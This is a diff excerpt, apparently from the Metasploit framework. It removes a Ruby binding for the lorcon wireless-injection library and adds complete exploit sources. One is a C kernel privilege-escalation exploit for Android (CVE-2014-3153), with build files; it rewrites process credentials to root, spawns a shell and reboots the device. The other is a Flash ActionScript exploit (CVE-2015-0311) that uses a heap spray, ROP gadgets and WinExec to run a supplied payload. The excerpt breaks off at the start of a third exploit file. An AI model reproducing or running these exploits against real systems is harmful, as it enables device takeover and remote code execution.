rb_define_method(cDevice, "error", Lorcon_get_error, 0);
rb_define_method(cDevice, "capiface", Lorcon_get_capiface, 0);
rb_define_method(cDevice, "filter=", Lorcon_set_filter, 1);
rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1);
rb_define_method(cDevice, "write", Lorcon_write_raw, 1);
rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1);
rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0);
rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0);
rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1);
rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1);
}

View File

@ -1,31 +0,0 @@
#ifndef _MSFLORCON_H
#define _MSFLORCON_H
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/socket.h>
#include <lorcon2/lorcon.h>
#include <pcap.h>
struct rldev {
struct lorcon *context;
};
struct rlpack {
struct lorcon_packet *packet;
/* dot3 construction via multiple elements */
u_char *bssid, *dot3;
int dir, len;
};
typedef struct rblorconjob {
struct pcap_pkthdr hdr;
unsigned char *pkt;
} rblorconjob_t;
#endif

View File

@ -1,41 +0,0 @@
This is an experimental interface for lorcon, a 802.11 library
developed by Joshua Wright and dragorn. This interface is only
available on Linux and with lorcon-supported wireless drivers.
For more information, please see the lorcon documentation and code:
http://www.802.11mercenary.net/lorcon/
To build this extension:
1) Download, compile, and install lorcon
The latest version of lorcon can pulled from SVN:
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
$ cd lorcon
$ ./configure
$ make
$ sudo make install
-- or --
$ su
# make install
# exit
$ cd ..
2) build the ruby extension..
$ ruby extconf.rb
$ make
$ sudo make install
-- or --
$ su
# make install
NOTES:
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
you need ruby dev package.
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
from extconf.rb:2
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev

View File

@ -1,16 +0,0 @@
#!/usr/bin/env ruby
require 'mkmf'
$CFLAGS += " -I/usr/include/lorcon2"
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
$CFLAGS += " -DRUBY_19"
end
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
create_makefile("Lorcon2")
else
puts "Error: the lorcon2 library was not found, please see the README"
end

View File

@ -1,59 +0,0 @@
#!/usr/bin/env ruby
$:.unshift(File.dirname(__FILE__))
require "Lorcon2"
require 'thread'
require "pp"
intf = ARGV.shift || "wlan0"
$stdout.puts "Checking LORCON version"
pp Lorcon.version
$stdout.puts "\nFetching LORCON driver list"
pp Lorcon.drivers
$stdout.puts "\nResolving driver by name 'mac80211'"
pp Lorcon.find_driver("mac80211")
$stdout.puts "\nAuto-detecting driver for interface wlan0"
pp Lorcon.auto_driver(intf)
tx = Lorcon::Device.new(intf)
$stdout.puts "\nCreated LORCON context"
if tx.openinjmon()
$stdout.puts "\nOpened as INJMON: " + tx.capiface
else
$stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error
end
def safe_loop(wifi)
@q = Queue.new
reader = Thread.new do
wifi.each_packet {|pkt| @q << pkt }
end
eater = Thread.new do
while(pkt = @q.pop)
yield(pkt)
end
end
begin
eater.join
rescue ::Interrupt => e
reader.kill if reader.alive?
puts "ALL DONE!"
end
end
safe_loop(tx) do |pkt|
pp pkt
end

View File

@ -1,11 +0,0 @@
Path: .
URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon
Repository Root: http://802.11ninja.net/svn/lorcon
Repository UUID: 61418039-352c-0410-8488-9e586b2135b2
Revision: 204
Node Kind: directory
Schedule: normal
Last Changed Author: dragorn
Last Changed Rev: 202
Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009)

View File

@ -0,0 +1,10 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
LOCAL_CFLAGS := -fno-stack-protector -O0
include $(BUILD_EXECUTABLE)

View File

@ -0,0 +1,17 @@
all: install
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
install: build
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
test: build
adb push libs/armeabi/exploit /data/local/tmp/exploit
adb shell "cd /data/local/tmp; ./exploit id"
clean:
rm -rf libs
rm -rf obj

View File

@ -0,0 +1,834 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
#define KERNEL_START 0xc0000000
#define LOCAL_PORT 5551
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
struct thread_info {
unsigned long flags;
int preempt_count;
unsigned long addr_limit;
struct task_struct *task;
/* ... */
};
struct kernel_cap_struct {
unsigned long cap[2];
};
struct cred {
unsigned long usage;
uid_t uid;
gid_t gid;
uid_t suid;
gid_t sgid;
uid_t euid;
gid_t egid;
uid_t fsuid;
gid_t fsgid;
unsigned long securebits;
struct kernel_cap_struct cap_inheritable;
struct kernel_cap_struct cap_permitted;
struct kernel_cap_struct cap_effective;
struct kernel_cap_struct cap_bset;
unsigned char jit_keyring;
void *thread_keyring;
void *request_key_auth;
void *tgcred;
struct task_security_struct *security;
/* ... */
};
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct task_security_struct {
unsigned long osid;
unsigned long sid;
unsigned long exec_sid;
unsigned long create_sid;
unsigned long keycreate_sid;
unsigned long sockcreate_sid;
};
struct task_struct_partial {
struct list_head cpu_timers[3];
struct cred *real_cred;
struct cred *cred;
struct cred *replacement_session_keyring;
char comm[16];
};
struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};
//bss
int uaddr1 = 0;
int uaddr2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[2048] = "";
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
len = write(pipefd[1], writebuf, count);
if (len != count) {
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
while (1) {
sleep(10);
}
}
read(pipefd[0], readbuf, count);
close(pipefd[0]);
close(pipefd[1]);
return len;
}
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
int pipefd[2];
ssize_t len;
pipe(pipefd);
write(pipefd[1], writebuf, count);
len = read(pipefd[0], readbuf, count);
if (len != count) {
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
while (1) {
sleep(10);
}
}
close(pipefd[0]);
close(pipefd[1]);
return len;
}
void write_kernel(int signum)
{
struct thread_info stackbuf;
unsigned long taskbuf[0x100];
struct cred *cred;
struct cred credbuf;
struct task_security_struct *security;
struct task_security_struct securitybuf;
pid_t pid;
int i;
int ret;
FILE *fp;
pthread_mutex_lock(&is_thread_awake_lock);
pthread_cond_signal(&is_thread_awake);
pthread_mutex_unlock(&is_thread_awake_lock);
if (HACKS_final_stack_base == NULL) {
static unsigned long new_addr_limit = 0xffffffff;
char *slavename;
int pipefd[2];
char readbuf[0x100];
printf("cpid1 resumed\n");
pthread_mutex_lock(is_kernel_writing);
HACKS_fdm = open("/dev/ptmx", O_RDWR);
unlockpt(HACKS_fdm);
slavename = ptsname(HACKS_fdm);
open(slavename, O_RDWR);
do_splice_tid_read = 1;
while (1) {
if (did_splice_tid_read != 0) {
break;
}
}
read(HACKS_fdm, readbuf, sizeof readbuf);
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
pthread_mutex_unlock(is_kernel_writing);
while (1) {
sleep(10);
}
}
printf("cpid3 resumed.\n");
pthread_mutex_lock(is_kernel_writing);
printf("hack.\n");
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
cred = NULL;
security = NULL;
pid = 0;
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
struct task_struct_partial *task = (void *)&taskbuf[i];
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
&& task->real_cred == task->cred) {
cred = task->cred;
break;
}
}
read_pipe(cred, &credbuf, sizeof credbuf);
security = credbuf.security;
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
read_pipe(security, &securitybuf, sizeof securitybuf);
if (securitybuf.osid != 0
&& securitybuf.sid != 0
&& securitybuf.exec_sid == 0
&& securitybuf.create_sid == 0
&& securitybuf.keycreate_sid == 0
&& securitybuf.sockcreate_sid == 0) {
securitybuf.osid = 1;
securitybuf.sid = 1;
printf("task_security_struct: %p\n", security);
write_pipe(security, &securitybuf, sizeof securitybuf);
}
}
credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
write_pipe(cred, &credbuf, sizeof credbuf);
pid = syscall(__NR_gettid);
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
static unsigned long write_value = 1;
if (taskbuf[i] == pid) {
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
if (getuid() != 0) {
printf("ROOT FAILED\n");
while (1) {
sleep(10);
}
} else { //rooted
break;
}
}
}
sleep(1);
if (g_argc >= 2) {
system(rootcmd);
} else {
system("/system/bin/sh -i");
}
system("/system/bin/touch /dev/rooted");
pid = fork();
if (pid == 0) {
while (1) {
ret = access("/dev/rooted", F_OK);
if (ret >= 0) {
break;
}
}
printf("wait 10 seconds...\n");
sleep(10);
printf("rebooting...\n");
sleep(1);
system("reboot");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_cond_signal(&done);
pthread_mutex_unlock(&done_lock);
while (1) {
sleep(10);
}
return;
}
void *make_action(void *arg) {
int prio;
struct sigaction act;
int ret;
prio = (int)arg;
last_tid = syscall(__NR_gettid);
pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);
act.sa_handler = write_kernel;
act.sa_mask = 0;
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(12, &act, NULL);
setpriority(PRIO_PROCESS, 0, prio);
pthread_mutex_unlock(&is_thread_desched_lock);
do_dm_tid_read = 1;
while (did_dm_tid_read == 0) {
;
}
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
printf("futex dm: %d\n", ret);
while (1) {
sleep(10);
}
return NULL;
}
pid_t wake_actionthread(int prio) {
pthread_t th4;
pid_t pid;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
do_dm_tid_read = 0;
did_dm_tid_read = 0;
pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, make_action, (void *)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
pid = last_tid;
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
while (do_dm_tid_read == 0) {
usleep(10);
}
did_dm_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
pthread_mutex_unlock(&is_thread_desched_lock);
return pid;
}
int make_socket() {
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed.\n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}
while (1) {
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
if (ret >= 0) {
break;
}
usleep(10);
}
sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
return sockfd;
}
void *send_magicmsg(void *arg) {
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);
sockfd = make_socket();
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = MAGIC;
}
for (i = 0; i < 8; i++) {
msg_iov[i].iov_base = (void *)MAGIC;
msg_iov[i].iov_len = 0x10;
}
msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
do_socket_tid_read = 1;
while (1) {
if (did_socket_tid_read != 0) {
break;
}
}
ret = 0;
while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
}
}
if (ret < 0) {
perror("SOCKSHIT");
}
printf("EXIT WTF\n");
while (1) {
sleep(10);
}
return NULL;
}
static inline setup_exploit(unsigned long mem)
{
*((unsigned long *)(mem - 0x04)) = 0x81;
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
*((unsigned long *)(mem + 0x1c)) = 0x85;
*((unsigned long *)(mem + 0x24)) = mem;
*((unsigned long *)(mem + 0x2c)) = mem + 8;
}
void *search_goodnum(void *arg) {
int ret;
char filename[256];
FILE *fp;
char filebuf[0x1000];
char *pdest;
int vcscnt, vcscnt2;
unsigned long magicval;
pid_t pid;
unsigned long goodval, goodval2;
unsigned long addr, setaddr;
int i;
char buf[0x1000];
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
while (1) {
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
if (ret == 1) {
break;
}
usleep(10);
}
wake_actionthread(6);
wake_actionthread(7);
uaddr2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
while (1) {
if (do_socket_tid_read != 0) {
break;
}
}
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_socket_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 == vcscnt + 1) {
break;
}
usleep(10);
}
printf("starting the dangerous things\n");
setup_exploit(MAGIC_ALT);
setup_exploit(MAGIC);
magicval = *((unsigned long *)MAGIC);
wake_actionthread(11);
if (*((unsigned long *)MAGIC) == magicval) {
printf("using MAGIC_ALT.\n");
MAGIC = MAGIC_ALT;
}
while (1) {
is_kernel_writing = (pthread_mutex_t *)malloc(4);
pthread_mutex_init(is_kernel_writing, NULL);
setup_exploit(MAGIC);
pid = wake_actionthread(11);
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
printf("%p is a good number\n", (void *)goodval);
do_splice_tid_read = 0;
did_splice_tid_read = 0;
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
while (1) {
if (do_splice_tid_read != 0) {
break;
}
usleep(10);
}
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 0x19;
vcscnt = atoi(pdest);
fclose(fp);
}
did_splice_tid_read = 1;
while (1) {
sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp == 0) {
vcscnt2 = -1;
}
else {
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
pdest += 19;
vcscnt2 = atoi(pdest);
fclose(fp);
}
if (vcscnt2 != vcscnt + 1) {
break;
}
usleep(10);
}
goodval2 = 0;
setup_exploit(MAGIC);
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
wake_actionthread(12);
goodval2 = *((unsigned long *)(MAGIC + 0x24));
printf("%p is also a good number.\n", (void *)goodval2);
for (i = 0; i < 9; i++) {
setup_exploit(MAGIC);
pid = wake_actionthread(10);
if (*((unsigned long *)MAGIC) < goodval2) {
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
pthread_mutex_lock(&is_thread_awake_lock);
kill(pid, 12);
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
pthread_mutex_unlock(&is_thread_awake_lock);
printf("GOING\n");
write(HACKS_fdm, buf, sizeof buf);
while (1) {
sleep(10);
}
}
}
}
return NULL;
}
void *accept_socket(void *arg) {
int sockfd;
int yes;
struct sockaddr_in addr = {0};
int ret;
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
yes = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
listen(sockfd, 1);
while(1) {
ret = accept(sockfd, NULL, NULL);
if (ret < 0) {
printf("**** SOCK_PROC failed ****\n");
while(1) {
sleep(10);
}
} else {
printf("i have a client like hookers.\n");
}
}
return NULL;
}
void init_exploit() {
unsigned long addr;
pthread_t th1, th2, th3;
printf("running with pid %d\n", getpid());
pthread_create(&th1, NULL, accept_socket, NULL);
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC = addr;
if ((long)addr >= 0) {
printf("first mmap failed?\n");
while (1) {
sleep(10);
}
}
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
addr += 0x800;
MAGIC_ALT = addr;
if (addr > 0x110000) {
printf("second mmap failed?\n");
while (1) {
sleep(10);
}
}
pthread_mutex_lock(&done_lock);
pthread_create(&th2, NULL, search_goodnum, NULL);
pthread_create(&th3, NULL, send_magicmsg, NULL);
pthread_cond_wait(&done, &done_lock);
}
int main(int argc, char **argv) {
g_argc = argc;
if (argc >= 2) {
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
int i;
for (i=1;i<argc;i++) {
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
}
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
}
init_exploit();
printf("Finished, looping.\n");
while (1) {
sleep(10);
}
return 0;
}

243
external/source/exploits/CVE-2015-0311/Main.as vendored Executable file
View File

@ -0,0 +1,243 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite;
import flash.display.LoaderInfo;
import flash.system.ApplicationDomain;
import flash.utils.ByteArray;
import avm2.intrinsics.memory.casi32;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var data:uint = 0xdeaddead
private var uv:Vector.<Object> = new Vector.<Object>
private var ba:ByteArray = new ByteArray()
private var spray:Vector.<Object> = new Vector.<Object>(51200)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = "";
/*public static function log(msg:String):void{
var str:String = "";
str += msg;
trace(str);
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}*/
public function Main()
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString();
for (var i:uint = 0; i < 1000; i++) ba.writeUnsignedInt(data++)
ba.compress()
ApplicationDomain.currentDomain.domainMemory = ba
ba.position = 0x200
for (i = 0; i < ba.length - ba.position; i++) ba.writeByte(00)
try {
ba.uncompress()
} catch (e:Error) { }
uv[0] = new Vector.<uint>(0x3E0)
casi32(0, 0x3e0, 0xffffffff)
for (i = 0; i < spray.length; i++) {
spray[i] = new Vector.<Object>(1014)
spray[i][0] = ba
spray[i][1] = this
}
/*
0:008> dd 5ca4000
05ca4000 ffffffff 05042000 05ca4000 00000000
05ca4010 00000000 00000000 00000000 00000000
05ca4020 00000000 00000000 00000000 00000000
05ca4030 00000000 00000000 00000000 00000000
05ca4040 00000000 00000000 00000000 00000000
05ca4050 00000000 00000000 00000000 00000000
05ca4060 00000000 00000000 00000000 00000000
05ca4070 00000000 00000000 00000000 00000000
*/
uv[0][0] = uv[0][0x2000003] - 0x18 - 0x2000000 * 4
//log("uv[0][0]: " + uv[0][0].toString(16));
ba.endian = "littleEndian"
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8) + 0x100000
//log("buffer: " + buffer.toString(16));
var main:uint = uv[0][0x2000009] - 1
//log("main: " + main.toString(16));
var vtable:uint = vector_read(main)
//log("vtable: " + vtable.toString(16));
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 8)
vector_write(vector_read(uv[0][0x2000008] - 1 + 0x40) + 16, 0xffffffff)
byte_write(uv[0][0])
var flash:uint = base(vtable)
//log("flash: " + flash.toString(16));
// Because of the sandbox, when you try to solve kernel32
// from the flash imports on IE, it will solve ieshims.dll
var ieshims:uint = module("kernel32.dll", flash)
//log("ieshims: " + ieshims.toString(16));
var kernel32:uint = module("kernel32.dll", ieshims)
//log("kernel32: " + kernel32.toString(16));
var ntdll:uint = module("ntdll.dll", kernel32)
//log("ntdll: " + ntdll.toString(16));
var urlmon:uint = module("urlmon.dll", flash)
//log("urlmon: " + urlmon.toString(16));
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
//log("virtualprotect: " + virtualprotect.toString(16));
var winexec:uint = procedure("WinExec", kernel32)
//log("winexec: " + winexec.toString(16));
var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
//log("urldownloadtofile: " + urldownloadtofile.toString(16));
var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
//log("getenvironmentvariable: " + getenvironmentvariable.toString(16));
var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
//log("setcurrentdirectory: " + setcurrentdirectory.toString(16));
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
//log("xchgeaxespret: " + xchgeaxespret.toString(16));
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//log("xchgeaxesiret: " + xchgeaxesiret.toString(16));
// CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] = value : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[0][0] ? uv[0][(addr - uv[0][0]) / 4 - 2] : uv[0][0xffffffff - (uv[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

207
external/source/exploits/CVE-2015-0313/Main.as vendored Executable file
View File

@ -0,0 +1,207 @@
// Build how to:
